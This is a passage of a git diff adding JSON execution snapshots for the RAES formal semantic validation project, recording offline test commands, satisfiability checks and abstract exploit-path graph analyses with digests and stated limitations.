"2026-09-30T04:28:43.287163+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-971-dependency-execution-v64", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-971-dependency-execution-v64", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "ebec7a35bb9836748ee67badd5553a7d3fec1b72", + "source_state": { + "base_revision": "ebec7a35bb9836748ee67badd5553a7d3fec1b72", + "checkout_state": "modified", + "implementation_digest": "c11d338c6c52b3dd50b785e02af57d97d6cf8f1cbef544f98fd0403fda1d9fd2", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v65.json b/docs/research/formal-semantic-validation/execution-snapshot-v65.json new file mode 100644 index 000000000..e0f7bc844 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v65.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-971-dependency-execution-v64", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v64.json", + "release_revision": "64.0.0", + "release_sha256": "0a6dc42224204526df61a42ad798ca9b61ca96d510c46b54165dd682dc106068" + }, + "captured_at": "2026-09-30T05:02:01.302376+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1359-execution-v65", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1359-execution-v65", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": 